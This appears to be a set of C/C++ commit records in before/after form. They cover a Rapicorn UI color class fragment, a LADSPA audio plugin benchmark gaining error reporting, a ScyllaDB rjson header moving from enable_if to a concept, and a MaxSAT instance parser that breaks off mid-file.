fatal ("Heritage: create heritage without window widget for: %s", widget.name().c_str());
return create_heritage (*window, widget, color_scheme);
}
Heritage::Heritage (WindowImpl &window,
Internals *internals) :
internals_ (internals), window_ (window)
{}
Heritage&
Heritage::selected ()
{
if (internals_)
{
if (!internals_->selected)
{
internals_->selected = FriendAllocator<Heritage>::make_shared (window_, internals_);
}
return *internals_->selected;
}
else
return *this;
}
Color
Heritage::get_color (WidgetState state,
ColorType color_type) const
{
Color c;
if (internals_)
c = internals_->get_color (this, state, color_type);
return state_color (c, state, color_type);
}
Color
Heritage::insensitive_ink (WidgetState state,
Color *glintp) const
{
/* constrcut insensitive ink from a mixture of foreground and dark_color */
Color ink = get_color (state, ColorType::FOREGROUND);
ink.combine (get_color (state, ColorType::DARK), 0x80);
Color glint = get_color (state, ColorType::LIGHT);
if (glintp)
*glintp = glint;
return ink;
}
Color
Heritage::resolve_color (const String &color_name,
WidgetState state,
ColorType color_type)
{
if (color_name[0] == '#')
{
uint32 argb = string_to_int (&color_name[1], NULL, 16);
Color c (argb);
/* invert alpha (transparency -> opacity) */
c.alpha (0xff - c.alpha());
return state_color (c, state, color_type);
}
Aida::EnumValue evalue = Aida::enum_info<ColorType>().find_value (color_name);
if (evalue.ident)
return get_color (state, ColorType (evalue.value));
else
{
Color parsed_color = Color::from_name (color_name);
if (!parsed_color) // transparent black
return get_color (state, color_type);
else
return state_color (parsed_color, state, color_type);
}
}
} // Rapicorn
<|endoftext|> |
<commit_before>#include <alloca.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <time.h>
#include <math.h>
#include "dlfcn.h"
#include "ladspa.hpp"
#include "util.hpp"
#define BLOCK_SIZE 2048
void *plug = NULL;
static float *audio_buffer;
static int audio_count = 0;
INNER void
cleanup()
{
dlclose(plug);
if (audio_count) free(audio_buffer);
}
INNER const LADSPA_Descriptor*
load_ladspa(char *path)
{
plug = dlopen(path, RTLD_NOW);
assert(plug);
atexit(cleanup);
LADSPA_Descriptor_Function df;
df = (decltype(df)) dlsym(plug, "ladspa_descriptor");
assert(df);
const LADSPA_Descriptor *d = df(0);
assert(d);
return d;
}
INNER float
between(float percent, float min, float max, int logscale)
{
if (logscale)
return log(min/percent)/log(min/max);
else
return (min - percent)/(min - max);
}
INNER float
get_default(LADSPA_PortRangeHint hint)
{
float x = 0;
int hd = hint.HintDescriptor;
float min = hint.LowerBound;
float max = hint.UpperBound;
float logscale = LADSPA_IS_HINT_LOGARITHMIC(hd);
if (LADSPA_IS_HINT_DEFAULT_0(hd))
x = 0;
if (LADSPA_IS_HINT_DEFAULT_1(hd))
x = 1;
if (LADSPA_IS_HINT_DEFAULT_100(hd))
x = 100;
if (LADSPA_IS_HINT_DEFAULT_440(hd))
x = 440;
if (LADSPA_IS_HINT_DEFAULT_MINIMUM(hd))
x = min;
if (LADSPA_IS_HINT_DEFAULT_LOW(hd))
x = between(0.25, min, max, logscale);
if (LADSPA_IS_HINT_DEFAULT_MIDDLE(hd))
x = between(0.50, min, max, logscale);
if (LADSPA_IS_HINT_DEFAULT_HIGH(hd))
x = between(0.75, min, max, logscale);
if (LADSPA_IS_HINT_DEFAULT_MAXIMUM(hd))
x = max;
if (LADSPA_IS_HINT_INTEGER(hd))
x = round(x);
if (LADSPA_IS_HINT_TOGGLED(hd)) {
float mid = between(0.50, min, max, logscale);
x = x >= mid ? max : min;
}
if (x < min) x = min;
if (x > max) x = max;
return x;
}
int
main(int argc, char **argv)
{
assert(argc > 1);
const LADSPA_Descriptor *d = load_ladspa(argv[1]);
LADSPA_Handle h = d->instantiate(d, 44100);
assert(h);
// we're lazy so we don't distinguish inputs and outputs
for (int i = 0; i < d->PortCount; i++)
if (LADSPA_IS_PORT_AUDIO(d->PortDescriptors[i]))
audio_count++;
audio_buffer = (decltype(audio_buffer)) calloc(audio_count*BLOCK_SIZE, sizeof(float));
int a = 0;
for (int i = 0; i < d->PortCount; i++) {
if (LADSPA_IS_PORT_AUDIO(d->PortDescriptors[i])) {
d->connect_port(h, i, audio_buffer + a++*BLOCK_SIZE);
} else {
float *x;
x = (decltype(x)) alloca(sizeof(float));
*x = get_default(d->PortRangeHints[i]);
d->connect_port(h, i, x);
}
}
mirand = time(NULL);
for (int i = 0; i < audio_count*BLOCK_SIZE; i++)
audio_buffer[i] = whitenoise();
if (d->activate) d->activate(h);
for (int i = 0; i < 64*64*8; i++)
d->run(h, BLOCK_SIZE);
if (d->deactivate) d->deactivate(h);
d->cleanup(h);
return 0;
}
<commit_msg>clean up bench a little<commit_after>#include <alloca.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <time.h>
#include <math.h>
#include "dlfcn.h"
#include "ladspa.hpp"
#include "util.hpp"
#define BLOCK_SIZE 2048
void *plug = NULL;
static float *audio_buffer;
static int audio_count = 0;
INNER void
cleanup()
{
dlclose(plug);
if (audio_count) free(audio_buffer);
}
INNER const LADSPA_Descriptor*
load_ladspa(char *path)
{
plug = dlopen(path, RTLD_NOW);
if (!plug) {
puts(dlerror());
exit(1);
}
atexit(cleanup);
LADSPA_Descriptor_Function df;
df = (decltype(df)) dlsym(plug, "ladspa_descriptor");
if (!df) {
puts(dlerror());
exit(1);
}
const LADSPA_Descriptor *d = df(0);
assert(d);
return d;
}
INNER float
between(float percent, float min, float max, int logscale)
{
if (logscale)
return log(min/percent)/log(min/max);
else
return (min - percent)/(min - max);
}
INNER float
get_default(LADSPA_PortRangeHint hint)
{
float x = 0;
int hd = hint.HintDescriptor;
float min = hint.LowerBound;
float max = hint.UpperBound;
float logscale = LADSPA_IS_HINT_LOGARITHMIC(hd);
if (LADSPA_IS_HINT_DEFAULT_0(hd))
x = 0;
if (LADSPA_IS_HINT_DEFAULT_1(hd))
x = 1;
if (LADSPA_IS_HINT_DEFAULT_100(hd))
x = 100;
if (LADSPA_IS_HINT_DEFAULT_440(hd))
x = 440;
if (LADSPA_IS_HINT_DEFAULT_MINIMUM(hd))
x = min;
if (LADSPA_IS_HINT_DEFAULT_LOW(hd))
x = between(0.25, min, max, logscale);
if (LADSPA_IS_HINT_DEFAULT_MIDDLE(hd))
x = between(0.50, min, max, logscale);
if (LADSPA_IS_HINT_DEFAULT_HIGH(hd))
x = between(0.75, min, max, logscale);
if (LADSPA_IS_HINT_DEFAULT_MAXIMUM(hd))
x = max;
if (LADSPA_IS_HINT_INTEGER(hd))
x = round(x);
if (LADSPA_IS_HINT_TOGGLED(hd)) {
float mid = between(0.50, min, max, logscale);
x = x >= mid ? max : min;
}
if (x < min) x = min;
if (x > max) x = max;
return x;
}
int
main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "Please supply a path to the plugin to test.\n");
return 1;
}
const LADSPA_Descriptor *d = load_ladspa(argv[1]);
LADSPA_Handle h = d->instantiate(d, 44100);
assert(h);
// we're lazy so we don't distinguish inputs and outputs
for (int i = 0; i < d->PortCount; i++)
if (LADSPA_IS_PORT_AUDIO(d->PortDescriptors[i]))
audio_count++;
audio_buffer = (decltype(audio_buffer)) calloc(audio_count*BLOCK_SIZE, sizeof(float));
int a = 0;
for (int i = 0; i < d->PortCount; i++) {
if (LADSPA_IS_PORT_AUDIO(d->PortDescriptors[i])) {
d->connect_port(h, i, audio_buffer + a++*BLOCK_SIZE);
} else {
float *x;
x = (decltype(x)) alloca(sizeof(float));
*x = get_default(d->PortRangeHints[i]);
d->connect_port(h, i, x);
}
}
mirand = time(NULL);
for (int i = 0; i < audio_count*BLOCK_SIZE; i++)
audio_buffer[i] = whitenoise();
if (d->activate) d->activate(h);
for (int i = 0; i < 64*64*8; i++)
d->run(h, BLOCK_SIZE);
if (d->deactivate) d->deactivate(h);
d->cleanup(h);
return 0;
}
<|endoftext|> |
<commit_before>/*
* Copyright 2019 ScyllaDB
*/
/*
* This file is part of Scylla.
*
* Scylla is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Scylla is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with Scylla. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
/*
* rjson is a wrapper over rapidjson library, providing fast JSON parsing and generation.
*
* rapidjson has strict copy elision policies, which, among other things, involves
* using provided char arrays without copying them and allows copying objects only explicitly.
* As such, one should be careful when passing strings with limited liveness
* (e.g. data underneath local std::strings) to rjson functions, because created JSON objects
* may end up relying on dangling char pointers. All rjson functions that create JSONs from strings
* by rjson have both APIs for string_ref_type (more optimal, used when the string is known to live
* at least as long as the object, e.g. a static char array) and for std::strings. The more optimal
* variants should be used *only* if the liveness of the string is guaranteed, otherwise it will
* result in undefined behaviour.
* Also, bear in mind that methods exposed by rjson::value are generic, but some of them
* work fine only for specific types. In case the type does not match, an rjson::error will be thrown.
* Examples of such mismatched usages is calling MemberCount() on a JSON value not of object type
* or calling Size() on a non-array value.
*/
#include <string>
#include <stdexcept>
namespace rjson {
class error : public std::exception {
std::string _msg;
public:
error() = default;
error(const std::string& msg) : _msg(msg) {}
virtual const char* what() const noexcept override { return _msg.c_str(); }
};
}
// rapidjson configuration macros
#define RAPIDJSON_HAS_STDSTRING 1
// Default rjson policy is to use assert() - which is dangerous for two reasons:
// 1. assert() can be turned off with -DNDEBUG
// 2. assert() crashes a program
// Fortunately, the default policy can be overridden, and so rapidjson errors will
// throw an rjson::error exception instead.
#define RAPIDJSON_ASSERT(x) do { if (!(x)) throw rjson::error(std::string("JSON error: condition not met: ") + #x); } while (0)
#include <rapidjson/document.h>
#include <rapidjson/writer.h>
#include <rapidjson/stringbuffer.h>
#include <rapidjson/error/en.h>
#include <rapidjson/allocators.h>
#include <seastar/core/sstring.hh>
#include "seastarx.hh"
namespace rjson {
// The internal namespace is a workaround for the fact that fmt::format
// also has a to_string_view function and erroneously looks up our rjson::to_string_view
// if this allocator is in the rjson namespace.
namespace internal {
// Implements an interface conforming to the one in rapidjson/allocators.h,
// but throws rjson::error on allocation failures
class throwing_allocator : public rapidjson::CrtAllocator {
using base = rapidjson::CrtAllocator;
public:
static const bool kNeedFree = base::kNeedFree;
void* Malloc(size_t size);
void* Realloc(void* orig_ptr, size_t orig_size, size_t new_size);
static void Free(void* ptr);
};
}
using allocator = internal::throwing_allocator;
using encoding = rapidjson::UTF8<>;
using document = rapidjson::GenericDocument<encoding, allocator, allocator>;
using value = rapidjson::GenericValue<encoding, allocator>;
using string_ref_type = value::StringRefType;
using string_buffer = rapidjson::GenericStringBuffer<encoding, allocator>;
using writer = rapidjson::Writer<string_buffer, encoding, encoding, allocator>;
using type = rapidjson::Type;
// The default value is derived from the days when rjson resided in alternator:
// - the original DynamoDB nested level limit is 32
// - it's raised by 7 for alternator to make it safer and more cool
// - the value is doubled because the nesting level is bumped twice
// for every alternator object - because each alternator object
// consists of a 2-level JSON object.
inline constexpr size_t default_max_nested_level = 78;
/**
* exception specializations.
*/
class malformed_value : public error {
public:
malformed_value(std::string_view name, const rjson::value& value);
malformed_value(std::string_view name, std::string_view value);
};
class missing_value : public error {
public:
missing_value(std::string_view name);
};
// Returns an object representing JSON's null
inline rjson::value null_value() {
return rjson::value(rapidjson::kNullType);
}
// Returns an empty JSON object - {}
inline rjson::value empty_object() {
return rjson::value(rapidjson::kObjectType);
}
// Returns an empty JSON array - []
inline rjson::value empty_array() {
return rjson::value(rapidjson::kArrayType);
}
// Returns an empty JSON string - ""
inline rjson::value empty_string() {
return rjson::value(rapidjson::kStringType);
}
// Convert the JSON value to a string with JSON syntax, the opposite of parse().
// The representation is dense - without any redundant indentation.
std::string print(const rjson::value& value, size_t max_nested_level = default_max_nested_level);
// Returns a string_view to the string held in a JSON value (which is
// assumed to hold a string, i.e., v.IsString() == true). This is a view
// to the existing data - no copying is done.
inline std::string_view to_string_view(const rjson::value& v) {
return std::string_view(v.GetString(), v.GetStringLength());
}
// Copies given JSON value - involves allocation
rjson::value copy(const rjson::value& value);
// Parses a JSON value from given string or raw character array.
// The string/char array liveness does not need to be persisted,
// as parse() will allocate member names and values.
// Throws rjson::error if parsing failed.
rjson::value parse(std::string_view str, size_t max_nested_level = default_max_nested_level);
// Parses a JSON value returns a disengaged optional on failure.
// NOTICE: any error context will be lost, so this function should
// be used only if one does not care why parsing failed.
std::optional<rjson::value> try_parse(std::string_view str, size_t max_nested_level = default_max_nested_level);
// Needs to be run in thread context
rjson::value parse_yieldable(std::string_view str, size_t max_nested_level = default_max_nested_level);
// chunked_content holds a non-contiguous buffer of bytes - such as bytes
// read by httpd::read_entire_stream(). We assume that chunked_content does
// not contain any empty buffers (the vector can be empty, meaning empty
// content - but individual buffers cannot).
using chunked_content = std::vector<temporary_buffer<char>>;
// Additional variants of parse() and parse_yieldable() that work on non-
// contiguous chunked_content. The chunked_content is moved into the parsing
// function so that we can start freeing chunks as soon as we parse them.
rjson::value parse(chunked_content&&, size_t max_nested_level = default_max_nested_level);
rjson::value parse_yieldable(chunked_content&&, size_t max_nested_level = default_max_nested_level);
// Creates a JSON value (of JSON string type) out of internal string representations.
// The string value is copied, so str's liveness does not need to be persisted.
rjson::value from_string(const char* str, size_t size);
rjson::value from_string(std::string_view view);
// Returns a pointer to JSON member if it exists, nullptr otherwise
rjson::value* find(rjson::value& value, std::string_view name);
const rjson::value* find(const rjson::value& value, std::string_view name);
// Returns a reference to JSON member if it exists, throws otherwise
rjson::value& get(rjson::value& value, std::string_view name);
const rjson::value& get(const rjson::value& value, std::string_view name);
/**
* Type conversion getter.
* Will typically require an existing rapidjson::internal::TypeHelper<...>
* to exist for the type queried.
*/
template<typename T>
T get(const rjson::value& value, std::string_view name) {
auto& v = get(value, name);
try {
return v.Get<T>();
} catch (...) {
std::throw_with_nested(malformed_value(name, v));
}
}
/**
* Type conversion opt getter.
* Will typically require an existing rapidjson::internal::TypeHelper<...>
* to exist for the type queried.
*
* Return std::nullopt if value does not exist.
*/
template<typename T>
std::optional<T> get_opt(const rjson::value& value, std::string_view name) {
auto* v = find(value, name);
try {
return v ? std::optional<T>(v->Get<T>()) : std::nullopt;
} catch (...) {
std::throw_with_nested(malformed_value(name, *v));
}
}
// Sets a member in given JSON object by moving the member - allocates the name.
// Throws if base is not a JSON object.
void set_with_string_name(rjson::value& base, std::string_view name, rjson::value&& member);
// Sets a string member in given JSON object by assigning its reference - allocates the name.
// NOTICE: member string liveness must be ensured to be at least as long as base's.
// Throws if base is not a JSON object.
void set_with_string_name(rjson::value& base, std::string_view name, rjson::string_ref_type member);
// Sets a member in given JSON object by moving the member.
// NOTICE: name liveness must be ensured to be at least as long as base's.
// Throws if base is not a JSON object.
void set(rjson::value& base, rjson::string_ref_type name, rjson::value&& member);
// Sets a string member in given JSON object by assigning its reference.
// NOTICE: name liveness must be ensured to be at least as long as base's.
// NOTICE: member liveness must be ensured to be at least as long as base's.
// Throws if base is not a JSON object.
void set(rjson::value& base, rjson::string_ref_type name, rjson::string_ref_type member);
/**
* Type conversion setter.
* Will typically require an existing rapidjson::internal::TypeHelper<...>
* to exist for the type written.
*
* (Note: order is important. Need to be after set(..., rjson::value),
* otherwise the enable_if must be expanded)
*/
template<typename T>
std::enable_if_t<!std::is_constructible_v<string_ref_type, T>>
set(rjson::value& base, rjson::string_ref_type name, T&& member) {
extern allocator the_allocator;
rjson::value v;
v.Set(std::forward<T>(member), the_allocator);
set(base, std::move(name), std::move(v));
}
// Adds a value to a JSON list by moving the item to its end.
// Throws if base_array is not a JSON array.
void push_back(rjson::value& base_array, rjson::value&& item);
// Remove a member from a JSON object. Throws if value isn't an object.
bool remove_member(rjson::value& value, std::string_view name);
struct single_value_comp {
bool operator()(const rjson::value& r1, const rjson::value& r2) const;
};
// Helper function for parsing a JSON straight into a map
// of strings representing their values - useful for various
// database helper functions.
// This function exists for historical reasons - existing infrastructure
// relies on being able to transform a JSON string into a map of sstrings.
template<typename Map>
requires (std::is_same_v<Map, std::map<sstring, sstring>> || std::is_same_v<Map, std::unordered_map<sstring, sstring>>)
Map parse_to_map(std::string_view raw) {
Map map;
rjson::value root = rjson::parse(raw);
if (root.IsNull()) {
return map;
}
if (!root.IsObject()) {
throw rjson::error("Only json objects can be transformed to maps. Encountered: " + std::string(raw));
}
for (auto it = root.MemberBegin(); it != root.MemberEnd(); ++it) {
if (it->value.IsString()) {
map.emplace(sstring(rjson::to_string_view(it->name)), sstring(rjson::to_string_view(it->value)));
} else {
map.emplace(sstring(rjson::to_string_view(it->name)), sstring(rjson::print(it->value)));
}
}
return map;
}
// This function exists for historical reasons as well.
rjson::value from_string_map(const std::map<sstring, sstring>& map);
// The function operates on sstrings for historical reasons.
sstring quote_json_string(const sstring& value);
} // end namespace rjson
namespace std {
std::ostream& operator<<(std::ostream& os, const rjson::value& v);
}
<commit_msg>utils: rjson: convert enable_if to concept<commit_after>/*
* Copyright 2019 ScyllaDB
*/
/*
* This file is part of Scylla.
*
* Scylla is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Scylla is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with Scylla. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
/*
* rjson is a wrapper over rapidjson library, providing fast JSON parsing and generation.
*
* rapidjson has strict copy elision policies, which, among other things, involves
* using provided char arrays without copying them and allows copying objects only explicitly.
* As such, one should be careful when passing strings with limited liveness
* (e.g. data underneath local std::strings) to rjson functions, because created JSON objects
* may end up relying on dangling char pointers. All rjson functions that create JSONs from strings
* by rjson have both APIs for string_ref_type (more optimal, used when the string is known to live
* at least as long as the object, e.g. a static char array) and for std::strings. The more optimal
* variants should be used *only* if the liveness of the string is guaranteed, otherwise it will
* result in undefined behaviour.
* Also, bear in mind that methods exposed by rjson::value are generic, but some of them
* work fine only for specific types. In case the type does not match, an rjson::error will be thrown.
* Examples of such mismatched usages is calling MemberCount() on a JSON value not of object type
* or calling Size() on a non-array value.
*/
#include <string>
#include <stdexcept>
namespace rjson {
class error : public std::exception {
std::string _msg;
public:
error() = default;
error(const std::string& msg) : _msg(msg) {}
virtual const char* what() const noexcept override { return _msg.c_str(); }
};
}
// rapidjson configuration macros
#define RAPIDJSON_HAS_STDSTRING 1
// Default rjson policy is to use assert() - which is dangerous for two reasons:
// 1. assert() can be turned off with -DNDEBUG
// 2. assert() crashes a program
// Fortunately, the default policy can be overridden, and so rapidjson errors will
// throw an rjson::error exception instead.
#define RAPIDJSON_ASSERT(x) do { if (!(x)) throw rjson::error(std::string("JSON error: condition not met: ") + #x); } while (0)
#include <rapidjson/document.h>
#include <rapidjson/writer.h>
#include <rapidjson/stringbuffer.h>
#include <rapidjson/error/en.h>
#include <rapidjson/allocators.h>
#include <seastar/core/sstring.hh>
#include "seastarx.hh"
namespace rjson {
// The internal namespace is a workaround for the fact that fmt::format
// also has a to_string_view function and erroneously looks up our rjson::to_string_view
// if this allocator is in the rjson namespace.
namespace internal {
// Implements an interface conforming to the one in rapidjson/allocators.h,
// but throws rjson::error on allocation failures
class throwing_allocator : public rapidjson::CrtAllocator {
using base = rapidjson::CrtAllocator;
public:
static const bool kNeedFree = base::kNeedFree;
void* Malloc(size_t size);
void* Realloc(void* orig_ptr, size_t orig_size, size_t new_size);
static void Free(void* ptr);
};
}
using allocator = internal::throwing_allocator;
using encoding = rapidjson::UTF8<>;
using document = rapidjson::GenericDocument<encoding, allocator, allocator>;
using value = rapidjson::GenericValue<encoding, allocator>;
using string_ref_type = value::StringRefType;
using string_buffer = rapidjson::GenericStringBuffer<encoding, allocator>;
using writer = rapidjson::Writer<string_buffer, encoding, encoding, allocator>;
using type = rapidjson::Type;
// The default value is derived from the days when rjson resided in alternator:
// - the original DynamoDB nested level limit is 32
// - it's raised by 7 for alternator to make it safer and more cool
// - the value is doubled because the nesting level is bumped twice
// for every alternator object - because each alternator object
// consists of a 2-level JSON object.
inline constexpr size_t default_max_nested_level = 78;
/**
* exception specializations.
*/
class malformed_value : public error {
public:
malformed_value(std::string_view name, const rjson::value& value);
malformed_value(std::string_view name, std::string_view value);
};
class missing_value : public error {
public:
missing_value(std::string_view name);
};
// Returns an object representing JSON's null
inline rjson::value null_value() {
return rjson::value(rapidjson::kNullType);
}
// Returns an empty JSON object - {}
inline rjson::value empty_object() {
return rjson::value(rapidjson::kObjectType);
}
// Returns an empty JSON array - []
inline rjson::value empty_array() {
return rjson::value(rapidjson::kArrayType);
}
// Returns an empty JSON string - ""
inline rjson::value empty_string() {
return rjson::value(rapidjson::kStringType);
}
// Convert the JSON value to a string with JSON syntax, the opposite of parse().
// The representation is dense - without any redundant indentation.
std::string print(const rjson::value& value, size_t max_nested_level = default_max_nested_level);
// Returns a string_view to the string held in a JSON value (which is
// assumed to hold a string, i.e., v.IsString() == true). This is a view
// to the existing data - no copying is done.
inline std::string_view to_string_view(const rjson::value& v) {
return std::string_view(v.GetString(), v.GetStringLength());
}
// Copies given JSON value - involves allocation
rjson::value copy(const rjson::value& value);
// Parses a JSON value from given string or raw character array.
// The string/char array liveness does not need to be persisted,
// as parse() will allocate member names and values.
// Throws rjson::error if parsing failed.
rjson::value parse(std::string_view str, size_t max_nested_level = default_max_nested_level);
// Parses a JSON value returns a disengaged optional on failure.
// NOTICE: any error context will be lost, so this function should
// be used only if one does not care why parsing failed.
std::optional<rjson::value> try_parse(std::string_view str, size_t max_nested_level = default_max_nested_level);
// Needs to be run in thread context
rjson::value parse_yieldable(std::string_view str, size_t max_nested_level = default_max_nested_level);
// chunked_content holds a non-contiguous buffer of bytes - such as bytes
// read by httpd::read_entire_stream(). We assume that chunked_content does
// not contain any empty buffers (the vector can be empty, meaning empty
// content - but individual buffers cannot).
using chunked_content = std::vector<temporary_buffer<char>>;
// Additional variants of parse() and parse_yieldable() that work on non-
// contiguous chunked_content. The chunked_content is moved into the parsing
// function so that we can start freeing chunks as soon as we parse them.
rjson::value parse(chunked_content&&, size_t max_nested_level = default_max_nested_level);
rjson::value parse_yieldable(chunked_content&&, size_t max_nested_level = default_max_nested_level);
// Creates a JSON value (of JSON string type) out of internal string representations.
// The string value is copied, so str's liveness does not need to be persisted.
rjson::value from_string(const char* str, size_t size);
rjson::value from_string(std::string_view view);
// Returns a pointer to JSON member if it exists, nullptr otherwise
rjson::value* find(rjson::value& value, std::string_view name);
const rjson::value* find(const rjson::value& value, std::string_view name);
// Returns a reference to JSON member if it exists, throws otherwise
rjson::value& get(rjson::value& value, std::string_view name);
const rjson::value& get(const rjson::value& value, std::string_view name);
/**
* Type conversion getter.
* Will typically require an existing rapidjson::internal::TypeHelper<...>
* to exist for the type queried.
*/
template<typename T>
T get(const rjson::value& value, std::string_view name) {
auto& v = get(value, name);
try {
return v.Get<T>();
} catch (...) {
std::throw_with_nested(malformed_value(name, v));
}
}
/**
* Type conversion opt getter.
* Will typically require an existing rapidjson::internal::TypeHelper<...>
* to exist for the type queried.
*
* Return std::nullopt if value does not exist.
*/
template<typename T>
std::optional<T> get_opt(const rjson::value& value, std::string_view name) {
auto* v = find(value, name);
try {
return v ? std::optional<T>(v->Get<T>()) : std::nullopt;
} catch (...) {
std::throw_with_nested(malformed_value(name, *v));
}
}
// Sets a member in given JSON object by moving the member - allocates the name.
// Throws if base is not a JSON object.
void set_with_string_name(rjson::value& base, std::string_view name, rjson::value&& member);
// Sets a string member in given JSON object by assigning its reference - allocates the name.
// NOTICE: member string liveness must be ensured to be at least as long as base's.
// Throws if base is not a JSON object.
void set_with_string_name(rjson::value& base, std::string_view name, rjson::string_ref_type member);
// Sets a member in given JSON object by moving the member.
// NOTICE: name liveness must be ensured to be at least as long as base's.
// Throws if base is not a JSON object.
void set(rjson::value& base, rjson::string_ref_type name, rjson::value&& member);
// Sets a string member in given JSON object by assigning its reference.
// NOTICE: name liveness must be ensured to be at least as long as base's.
// NOTICE: member liveness must be ensured to be at least as long as base's.
// Throws if base is not a JSON object.
void set(rjson::value& base, rjson::string_ref_type name, rjson::string_ref_type member);
/**
* Type conversion setter.
* Will typically require an existing rapidjson::internal::TypeHelper<...>
* to exist for the type written.
*
* (Note: order is important. Need to be after set(..., rjson::value)).
*/
template<typename T>
requires (!std::is_constructible_v<string_ref_type, T>)
void set(rjson::value& base, rjson::string_ref_type name, T&& member) {
extern allocator the_allocator;
rjson::value v;
v.Set(std::forward<T>(member), the_allocator);
set(base, std::move(name), std::move(v));
}
// Adds a value to a JSON list by moving the item to its end.
// Throws if base_array is not a JSON array.
void push_back(rjson::value& base_array, rjson::value&& item);
// Remove a member from a JSON object. Throws if value isn't an object.
bool remove_member(rjson::value& value, std::string_view name);
struct single_value_comp {
bool operator()(const rjson::value& r1, const rjson::value& r2) const;
};
// Helper function for parsing a JSON straight into a map
// of strings representing their values - useful for various
// database helper functions.
// This function exists for historical reasons - existing infrastructure
// relies on being able to transform a JSON string into a map of sstrings.
template<typename Map>
requires (std::is_same_v<Map, std::map<sstring, sstring>> || std::is_same_v<Map, std::unordered_map<sstring, sstring>>)
Map parse_to_map(std::string_view raw) {
Map map;
rjson::value root = rjson::parse(raw);
if (root.IsNull()) {
return map;
}
if (!root.IsObject()) {
throw rjson::error("Only json objects can be transformed to maps. Encountered: " + std::string(raw));
}
for (auto it = root.MemberBegin(); it != root.MemberEnd(); ++it) {
if (it->value.IsString()) {
map.emplace(sstring(rjson::to_string_view(it->name)), sstring(rjson::to_string_view(it->value)));
} else {
map.emplace(sstring(rjson::to_string_view(it->name)), sstring(rjson::print(it->value)));
}
}
return map;
}
// This function exists for historical reasons as well.
rjson::value from_string_map(const std::map<sstring, sstring>& map);
// The function operates on sstrings for historical reasons.
sstring quote_json_string(const sstring& value);
} // end namespace rjson
namespace std {
std::ostream& operator<<(std::ostream& os, const rjson::value& v);
}
<|endoftext|> |
<commit_before>
#include <fstream>
#include <vector>
#define MAX_LINE_LENGTH 1024
#define MAX_NUM_LITERALS 100
using namespace std;
class MaxSatInstance {
enum {CNF, PARTIAL, WEIGHTED, WEIGHTED_PARTIAL} format;
int numVars, numClauses;
int *clauseLengths;
vector<int> *negClausesWithVar, *posClausesWithVar;
bool isTautologicalClause(int[MAX_NUM_LITERALS], int&, const int);
public:
MaxSatInstance( const char* filename );
~MaxSatInstance();
void printInfo( ostream& os );
};
bool MaxSatInstance::isTautologicalClause( int lits[ MAX_NUM_LITERALS ], int& numLits, const int clauseNum ) {
// sort the clause and remove redundant literals
//!! For large clauses better use sort()
int temp, tempLit;
for (int i=0; i<numLits-1; tempLit = lits[i++]) {
for (int j=i+1; j<numLits; j++) {
if (abs(tempLit) > abs(lits[j])) {
temp = lits[j];
lits[j] = tempLit;
tempLit = temp;
} else if (tempLit == lits[j]) {
lits[j--] = lits[--numLits];
printf("c literal %d is redundant in clause %d\n", tempLit, clauseNum);
} else if (abs(tempLit) == abs(lits[j])) {
printf("c Clause %d is tautological.\n", clauseNum);
return true;
}
}
}
return false;
}
MaxSatInstance::MaxSatInstance( const char* filename )
{
ifstream infile(filename);
if (!infile) {
fprintf(stderr, "c Error: could not read from %s.\n", filename);
exit(1);
}
while (infile.get() != 'p') {
infile.ignore(MAX_LINE_LENGTH, '\n');
}
char strbuf[MAX_LINE_LENGTH];
infile >> strbuf;
if( strcmp(strbuf, "cnf")==0 ) {
format = CNF;
} else if( strcmp(strbuf, "wcnf")==0 ) {
format = WEIGHTED;
} else if( strcmp(strbuf, "pcnf")==0 ) {
format = PARTIAL;
} else if( strcmp(strbuf, "wpcnf")==0 ) {
format = WEIGHTED_PARTIAL;
} else {
fprintf(stderr, "c Error: Can only understand cnf format!\n");
exit(1);
}
infile >> numVars >> numClauses;
clauseLengths = new int[ numClauses ];
negClausesWithVar = new vector<int>[ numVars+1 ];
posClausesWithVar = new vector<int>[ numVars+1 ];
int lits[ MAX_NUM_LITERALS ];
for (int clauseNum=0; clauseNum<numClauses; clauseNum++) {
int numLits = 0;
infile >> lits[numLits];
while (lits[numLits] != 0)
infile >> lits[++numLits];
if ( numLits == 1 or !isTautologicalClause( lits, numLits, clauseNum )) {
clauseLengths[clauseNum] = numLits;
for (int litNum = 0; litNum < numLits; litNum++)
if (lits[litNum] < 0)
negClausesWithVar[abs(lits[litNum])].push_back(clauseNum);
else
posClausesWithVar[lits[litNum]].push_back(clauseNum);
} else {
clauseNum--;
numClauses--;
}
}
}
MaxSatInstance::~MaxSatInstance() {
delete clauseLengths;
}
void MaxSatInstance::printInfo(ostream& os) {
os << "Num vars: " << numVars << endl;
os << "Num clauses: " << numClauses << endl;
for (int varNum=1; varNum<=numVars; varNum++) {
os << "Neg " << negClausesWithVar[ varNum ].size() << endl;
os << "Pos " << posClausesWithVar[ varNum ].size() << endl;
}
}
#include <iostream>
int main( int argc, char* argv[] ) {
if ( argc <= 1 ) exit(-1);
MaxSatInstance msi( argv[1] );
msi.printInfo( cout );
return 0;
}
<commit_msg>Adding changes<commit_after>
#include <fstream>
#include <vector>
#define MAX_LINE_LENGTH 1024
#define MAX_NUM_LITERALS 100
using namespace std;
class MaxSatInstance {
enum {CNF, PARTIAL, WEIGHTED, WEIGHTED_PARTIAL} format;
int numVars, numClauses;
int *clauseLengths;
vector<int> *negClausesWithVar, *posClausesWithVar;
int unitClauses, binaryClauses, ternaryClauses;
bool isTautologicalClause(int[MAX_NUM_LITERALS], int&, const int);
public:
MaxSatInstance( const char* filename );
~MaxSatInstance();
void printInfo( ostream& os );
};
